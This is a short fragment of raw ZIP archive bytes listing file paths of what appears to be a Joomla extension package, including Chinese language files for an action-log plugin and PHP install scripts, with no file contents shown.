PKco�[~G����J�2advancedtemplates/language/zh-CN/zh-CN.plg_actionlog_advancedtemplates.ininu�[���PKco�[iV�;NI:advancedtemplates/language/zh-CN/zh-CN.plg_actionlog_advancedtemplates.sys.ininu�[���PKco�[+B��}Y}Y+F=advancedtemplates/script.install.helper.phpnu�[���PKco�[��c�QQ$�advancedtemplates/script.install.phpnu�[���PKco�[l���s�sÚjoomla/joomla.phpnu�[���PKdo�[�TM�11�joomla/joomla.xmlnu�[���PK00�f